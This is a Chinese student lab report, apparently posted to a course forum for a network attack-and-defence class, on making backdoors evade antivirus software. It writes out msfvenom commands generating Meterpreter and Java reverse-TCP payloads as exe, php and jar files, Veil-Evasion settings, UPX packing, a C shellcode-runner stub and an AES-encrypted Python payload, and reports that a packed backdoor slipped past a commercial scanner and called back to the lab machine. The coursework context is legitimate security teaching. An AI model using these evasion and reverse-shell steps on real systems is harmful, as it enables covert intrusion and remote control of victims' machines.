20212427 2023-20234-2 《网络与系统攻防技术》实验三实验报告

20212427王伟 2024-04-03 18:06:46

目录

  • 1.实验内容
  • 1.1 实验目的
  • 1.2 实验基础问题
  • 2.实验过程
  • 2.1 使用msf编码器进行编码
  • 2.1.1 不进行编码查杀
  • 2.1.2 进行编码一次后检测
  • 2.1.3 进行24次编码后检测
  • 2.1.4 生成php文件并进行检测
  • 2.1.5 生产jar文件并进行检测
  • 2.2 veil,加壳工具实践
  • 2.2.1 veil工具安装
  • 2.2.2 使用veil对程序进行加壳
  • 2.3 使用C + shellcode编程
  • 2.4 通过组合应用各种技术实现恶意代码免杀
  • 2.5 用另一台主机进行测试并回连
  • 3.问题及解决方案
  • 4.学习收获

1.实验内容

1.1 实验目的

使用msf编码器和veil-evasion工具,结合各种免杀措施使得自己编码的shellcode逃过杀毒软件。

1.2 实验基础问题

(1)杀软是如何检测出恶意代码的?
答:
特征匹配: 杀软使用已知的恶意代码特征库进行匹配,这些特征可能是病毒、蠕虫、木马等恶意代码的特定字符串、行为模式或者代码片段。
行为分析: 杀软监视程序的行为,当程序尝试执行可疑操作时,比如修改系统文件、向外部服务器发送数据、试图访问敏感信息等,杀软就会将其标记为潜在的恶意代码。

(2)免杀是做什么?
答:"免杀"是指恶意软件开发者采取各种技术手段,使其恶意软件能够绕过杀毒软件和其他安全防御机制的检测和防御,从而成功地在目标系统上执行。

(3)免杀的基本方法有哪些?
答:代码混淆: 通过重命名变量、函数和类名,修改代码结构,添加无用代码等方式来使代码难以被静态分析和检测。
自修改代码: 恶意软件在每次运行时修改自身的代码,以使其不断变化,从而绕过基于固定模式的检测方法。
多层打包: 使用多层压缩和打包技术,使得恶意代码的结构更加复杂和难以分析。

2.实验过程

2.1 使用msf编码器进行编码

2.1.1 不进行编码查杀

我们使用virustoal进行查杀:
virustoal官网

直接使用实验二中生成的backdoor.exe送去检测

在这里插入图片描述

发现几乎有四分之三都能够被检测出来。

2.1.2 进行编码一次后检测

使用msf对backdoor.exe进行编码,命令如下:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.174.135 LPORT=2427 -f exe > 20212427backdoor.exe

在这里插入图片描述

我们把这个程序再送去检测

在这里插入图片描述


发现没什么变化,可见一次编码对我们的后门程序并没有什么成效。

2.1.3 进行24次编码后检测

对我们刚才编码过的程序再进行23次编码,命令如下:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -23 -b ‘\x00’ LHOST=192.168.174.135 LPORT=2427 -f exe > 20212427backdoor.exe

在这里插入图片描述

我们把这个程序再送去检测

在这里插入图片描述

好像依旧没有什么用,所以我们大致可以得出结论,反复编码这种免杀技术对于现在的杀毒程序用处不大。

2.1.4 生成php文件并进行检测

输入如下指令生成php文件:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.174.135 LPORT=2427 x> 20212427backdoor.php

在这里插入图片描述

我们再把这个程序再送去检测

在这里插入图片描述

可以发现被检测到的部分大大下降,说明这种法师还是很有效果的,但是依旧能被查出来。

2.1.5 生产jar文件并进行检测

输入如下命令生产jar文件:

msfvenom -p java/shell_reverse_tcp  LHOST=192.168.174.135 LPORT=2427 -f jar > 20212427backdoor.jar

我们再把这个程序再送去检测

在这里插入图片描述

发现对比反复编码而言是有所降低,
所以经过反复对比,这几种免杀技巧中,依效果来讲,php>jar>反复编码。

2.2 veil,加壳工具实践

2.2.1 veil工具安装

这一步会出很多的问题,可以说这次实验中花费时间和精力最多的就是这一步,详细的可以看第三部分的问题及解决方案,我在那里写了较为详细的步骤。

首先是安装,在root下输入如下命令:

apt-get install veil-evasion

这里有简单的安装教程
免杀Payload生成工具Veil的下载与使用

等待安装,时间会比较长,安装成功后再次输入veil启动程序:

在这里插入图片描述

2.2.2 使用veil对程序进行加壳

进入veil后,相继输入如下命令,进入evasion并配置IP和端口

use evasion                    //进入Evil—Evasion
use c/meterpreter/rev_tcp.py     //进入配置界面
set LHOST 192.168.174.140        //设置反弹链接ip,此处为Kali的ip
set LPORT 2427                //设置端口
generate

use evasion


在这里插入图片描述


在这里插入图片描述

我们在这里对我们所生成的文件进行命名,命名为20212427veil。
然后我们可以看到我们文件的保存目录
/var/lib/veil/output/compiled/20212427veil.exe

在这里插入图片描述

我们找到我们的保存的文件,然后拿去送检:

在这里插入图片描述


在这里插入图片描述

效果一般。。所以我们对其进行加壳,输入如下命令:

upx 20212427veil.exe -o 20212427veil_upx.exe

在这里插入图片描述

我们找到我们的保存的文件,然后拿去送检:

在这里插入图片描述


在这里插入图片描述


加壳后甚至多检测出来两个,说明主流加壳方式的特征码被研究得差不多了,免杀效果不太行。

2.3 使用C + shellcode编程

我们照常使用msfvenom得到shellcode,命令如下:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.140 LPORT=2427 -f c

在这里插入图片描述

然后我们将这段shellcode复制,输入:

vim shellcode_c.c

再将刚刚复制的内容插入到新建的.c文件中,并在末尾加上:

int main() { int (*func)() = (int(*)())buf; func(); }

在这里插入图片描述

然后esc,:wq保存退出。
写好.c文件后,输入如下命令将其编译成可执行文件:

i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe

在这里插入图片描述

然后我们再送去检测

在这里插入图片描述

2.4 通过组合应用各种技术实现恶意代码免杀

我们选择使用python+aes_encrypt
打开veil,选择Evasion

use 1

在这里插入图片描述

list一下查看我们需要使用的技术
我们选择evasion中第28项:用python生成reverse_tcp

在这里插入图片描述


输入

use 28

设置回弹IP和端口号

set LHOST 192.168.174.140        //设置反弹链接ip,此处为Kali的ip
set LPORT 2427                //设置端口
generate

在这里插入图片描述

生成成功后我们找到这个20212427payload.py文件并把它拿去检测

在这里插入图片描述

2.5 用另一台主机进行测试并回连

我们进入veil使用7号payload即c/meterpreter/rev_tcp并加壳

在这里插入图片描述

在这里插入图片描述

我们把它传回主机,送去给联想电脑管家并打开查杀试试可不可以被查出来
我们把它找一个文件夹放置

在这里插入图片描述

打开联想电脑管家扫描

在这里插入图片描述

竟然没有被查出来!
那我们用它来实现回连,回顾和实验二同样的步骤,打开msf

在这里插入图片描述

回连成功!

3.问题及解决方案

关于veil的安装问题
解决方案:这个问题真的困扰了我很久,我甚至一度认为这个和实验者的运气有关(?
我一直卡死在veil安装中卡死在python的安装界面,一直next就会被卡住。
我选择重新切换了一个版本的虚拟机,但我并不确定这个是不是核心。
但是真正解决问题的是我更换了kali的下载源,我多次尝试发现kali的下载源根本用不了,一开始下载就会erro,我的解决办法可以参考如下的博客。
先换源
Kali更新源签名无效问题
换签名
kali更新源以及如何解决kali中无法下载 http://http.kali.org/kali/dists/kali-rolling/InRelease 无法解析域名“kali.download”
最后sudo update
这样就可以正常安装了。

4.学习收获

本次实验关于操作部分基本上没什么难点,问题都在veil的安装,着实让人头疼,在通过我和同学们的讨论探索后,还是解决了这个问题,从这往后一路畅通。这次我们等于是对之前后门实践的一种强化。之前后门软件需要执行必须关掉杀软,否则被传过去会直接被杀掉。而这回经过加密、加壳和编码的一系列技术,我的后门软件居然逃过了杀软的检索成为了绿色软件(?瞬间感觉很神奇,我觉得学习了这些技术非常有趣也能激起我的兴趣,我有点期待后面的实验内容了。

...全文
55 回复 打赏 收藏 转发到动态 举报
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复

96

社区成员

发帖
与我相关
我的任务
社区描述
网络攻防作业
网络安全 高校
社区管理员
  • blackwall0321
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧